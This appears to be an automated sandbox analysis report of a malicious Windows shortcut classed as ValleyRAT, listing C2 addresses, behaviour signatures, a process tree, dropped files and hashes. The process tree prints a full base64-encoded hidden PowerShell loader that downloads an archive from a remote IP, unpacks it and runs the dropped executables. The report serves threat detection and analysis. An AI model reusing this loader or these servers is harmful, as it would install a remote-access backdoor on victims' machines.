Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    12/03/2026, 12:27

General

  • Target
    接口8+1.lnk
  • Size 4KB
  • Sample260312-pmxnnsdw2t
  • SHA256 145ddb95c7dd7d05d1b179a7050cfc9ccb5a66e12c9e442a91becb5dacd7691b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • valleyrat_s2

Version
  • 1.0

C2
  • 23.226.57.45:6666

  • 23.226.57.45:8888

  • 23.226.57.45:80

Attributes
  • campaign_date

    2026. 3. 6

Signatures

  • Detects ValleyRAT payload 8 IoCs
  • ValleyRat

    ValleyRat stage2 is a backdoor written in C++.

  • Valleyrat_s2 family
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Looks for VMWare Tools registry key 2 TTPs 2 IoCs
  • Looks for VMWare services registry key. 1 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 19 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 44 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\接口8+1.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ep Bypass -w h -EncodedCommand JABsAG8AYwBhAGwAUABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ATABvAGMAYQB0AGkAbwBuACkALgBQAGEAdABoADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiACQAbABvAGMAYQBsAFAAYQB0AGgAXABcAG0AeQBiAG8AbwBrAC4AbABuAGsAIgAgAC0ARgBvAHIAYwBlADsAIAAkAGgAPQAiAGgAdAAiADsAJAB0AD0AIgB0AHAAIgA7AGMAdQByAGwAIAAiACQAewBoAH0AJAB7AHQAfQA6AC8ALwAxADMANAAuADEAMgAyAC4AMQAyADgALgAxADMANQAvAG0AeQBiAG8AbwBrAC4AcABkAGYAIgAgAC0AbwAgACIAJABsAG8AYwBhAGwAUABhAHQAaABcAFwAbQB5AGIAbwBvAGsALgBwAGQAZgAiADsAIABpAGYAIAAoAC0AbgBvAHQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAFwATQBpAGMAcgBvAHMAbwBmAHQAXABcAE0ATQBDACIAKQApAHsAIAAgAE4AZQB3AC0ASQB0AGUAbQAgAC0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAFwATQBpAGMAcgBvAHMAbwBmAHQAXABcAE0ATQBDACIAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9ADsAYwB1AHIAbAAgACIAJAB7AGgAfQAkAHsAdAB9ADoALwAvADEAMwA0AC4AMQAyADIALgAxADIAOAAuADEAMwA1AC8AbQB5AHMAZQBsAGYALgB6AGkAcAAiACAALQBvACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAFwATQBpAGMAcgBvAHMAbwBmAHQAXABcAE0ATQBDAFwAXABtAHkAcwBlAGwAZgAuAHoAaQBwACIAOwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAFAAYQB0AGgAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAXABNAGkAYwByAG8AcwBvAGYAdABcAFwATQBNAEMAXABcAG0AeQBzAGUAbABmAC4AegBpAHAAIgAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAXABNAGkAYwByAG8AcwBvAGYAdABcAFwATQBNAEMAIgAgAC0ARgBvAHIAYwBlADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAXABNAGkAYwByAG8AcwBvAGYAdABcAFwATQBNAEMAXABcAG0AeQBzAGUAbABmAC4AegBpAHAAIgAgAC0ARgBvAHIAYwBlADsAJgAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABNAE0AQwBcAFwAYwBoAGcAcABvAHIAdAAuAGUAeABlACIAOwAmACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAFwATQBpAGMAcgBvAHMAbwBmAHQAXABcAE0ATQBDAFwAXAB2AG0AdABvAG8AbABzAGQALgBlAHgAZQAiADsA
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4700
      • C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2136
        • C:\Windows\SYSTEM32\rundll32.exe
          rundll32.exe
          4⤵
          • Badlisted process makes network request
          • Enumerates connected drives
          • Suspicious use of SetWindowsHookEx
          PID:2368
      • C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vmtoolsd.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vmtoolsd.exe"
        3⤵
        • Looks for VMWare Tools registry key
        • Looks for VMWare services registry key.
        • Executes dropped EXE
        • Loads dropped DLL
        • Adds Run key to start application
        PID:1768
  • C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:980
    • C:\Windows\system32\rundll32.exe
      rundll32.exe
      2⤵
      • Badlisted process makes network request
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:3040

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        __PSScriptPolicyTest_pb3ih1wf.n5f.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pb3ih1wf.n5f.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        MaxxAudioAPOShell64.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\MaxxAudioAPOShell64.dll
        • Size 61KB
        • SHA256 08a6f6b03280078a137cfc0be4232458e755e3992cd023259ace1b819a04b1a8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        appdl.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\appdl.dll
        • Size 33KB
        • SHA256 16a2b6ba2284a2476d4a345b35502c52a2a98ac0931ce7faf814765f659e2725
        • MD5 SHA1 SHA512 SSDEEP TLSH

        cbb.bin

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\cbb.bin
        • Size 165KB
        • SHA256 a3c1235d17b5cd5ba68b8b55369203f26537dd9ee11f67f0b6f9b564d2e3a52b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chgport.exe

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe
        • Size 1.2MB
        • SHA256 bf5ffeea7173c189bc75a34c6c02620095f6a79ebf67fcd97b6613ab5e079a44
        • MD5 SHA1 SHA512 SSDEEP TLSH

        glib-2.0.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\glib-2.0.dll
        • Size 1.1MB
        • SHA256 2e6ed256cc0c0e1dbd8d0fbd83818744b4723def05be9c0bcbca961feac56fdf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        gmodule-2.0.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\gmodule-2.0.dll
        • Size 15KB
        • SHA256 577304307a6a62a5c03687c82fde7ee10f0e1bca00e8b710cf80855d9625f1a5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        gobject-2.0.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\gobject-2.0.dll
        • Size 295KB
        • SHA256 8716833a789cb1bd0c3367be44996f9198138faaeb876a7874812319ff505c3f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        intl.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\intl.dll
        • Size 94KB
        • SHA256 2b610cef5cdaafcdb10a2b63de10913912b4b5141ae7d81cece4e9398911d10b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msvcp140.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\msvcp140.dll
        • Size 544KB
        • SHA256 0f885b509a685d2bbfa652fed26b5fb31d88fbdab0a978c641d1c7b8aa460aa9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        pcre.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\pcre.dll
        • Size 403KB
        • SHA256 9524a9ae031af3d1755ef7b14031fa4372a9891622323fecb1a8f0180beb2ffe
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vcruntime140.dll
        • Size 117KB
        • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140_1.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vcruntime140_1.dll
        • Size 48KB
        • SHA256 82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vmtools.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vmtools.dll
        • Size 821KB
        • SHA256 4504dee573d0b4655da2362d89532fa30ddffbfb3e95575bfa0aac6684138553
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vmtoolsd.exe

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vmtoolsd.exe
        • Size 91KB
        • SHA256 61d4473cff983c93df36b127c87fa682de89b49858723a22b814483632559556
        • MD5 SHA1 SHA512 SSDEEP TLSH

        wdd32.dll

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\wdd32.dll
        • Size 2.8MB
        • SHA256 4fcc38c98e5614b48ea4ddaae1138834fa8d81a7ded9d7a7e3a54ec911ac3fa9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/980-104-0x000001D2C3430000-0x000001D2C34FD000-memory.dmp

        memory/1768-93-0x00000196B3430000-0x00000196B34FD000-memory.dmp

        memory/2136-105-0x0000013DD7440000-0x0000013DD750D000-memory.dmp

        memory/2368-113-0x000001CE901A0000-0x000001CE901CA000-memory.dmp

        memory/2368-126-0x000001CE91ED0000-0x000001CE91F9D000-memory.dmp

        memory/2368-124-0x000001CE901A0000-0x000001CE901CA000-memory.dmp

        memory/2368-123-0x000001CE901A0000-0x000001CE901CA000-memory.dmp

        memory/2368-120-0x000001CE91E80000-0x000001CE91ECE000-memory.dmp

        memory/2368-119-0x000001CE91E80000-0x000001CE91ECE000-memory.dmp

        memory/2368-118-0x000001CE91E80000-0x000001CE91ECE000-memory.dmp

        memory/2368-109-0x000001CE901A0000-0x000001CE901CA000-memory.dmp

        memory/2368-114-0x000001CE91E80000-0x000001CE91ECE000-memory.dmp

        memory/2368-110-0x000001CE901A0000-0x000001CE901CA000-memory.dmp

        memory/2368-106-0x000001CE901A0000-0x000001CE901CA000-memory.dmp

        memory/3008-96-0x0000018663D40000-0x0000018663D4C000-memory.dmp

        memory/3008-95-0x0000018663A00000-0x0000018663ACD000-memory.dmp

        memory/3040-116-0x00000249ECA10000-0x00000249ECA5E000-memory.dmp

        memory/3040-122-0x00000249EACE0000-0x00000249EAD0A000-memory.dmp

        memory/3040-107-0x00000249EACE0000-0x00000249EAD0A000-memory.dmp

        memory/3040-103-0x00000249EACE0000-0x00000249EAD0A000-memory.dmp

        memory/3040-125-0x00000249ECA60000-0x00000249ECB2D000-memory.dmp

        memory/3040-111-0x00000249EACE0000-0x00000249EAD0A000-memory.dmp

        memory/3040-112-0x00000249ECA10000-0x00000249ECA5E000-memory.dmp

        memory/3040-108-0x00000249EACE0000-0x00000249EAD0A000-memory.dmp

        memory/3040-121-0x00000249EACE0000-0x00000249EAD0A000-memory.dmp

        memory/3040-115-0x00000249ECA10000-0x00000249ECA5E000-memory.dmp

        memory/3040-117-0x00000249ECA10000-0x00000249ECA5E000-memory.dmp

        memory/4700-32-0x00000178BD850000-0x00000178BD860000-memory.dmp

        memory/4700-13-0x00000178BD850000-0x00000178BD860000-memory.dmp

        memory/4700-75-0x00000178A37C0000-0x00000178A37CC000-memory.dmp

        memory/4700-3-0x00000178BD850000-0x00000178BD860000-memory.dmp

        memory/4700-12-0x00000178BD850000-0x00000178BD860000-memory.dmp

        memory/4700-5-0x00000178BD820000-0x00000178BD842000-memory.dmp

        memory/4700-16-0x00000178BDD30000-0x00000178BDD42000-memory.dmp

        memory/4700-33-0x00000178BD850000-0x00000178BD860000-memory.dmp

        memory/4700-2-0x00000178BD850000-0x00000178BD860000-memory.dmp

        memory/4700-17-0x00000178BDD10000-0x00000178BDD1A000-memory.dmp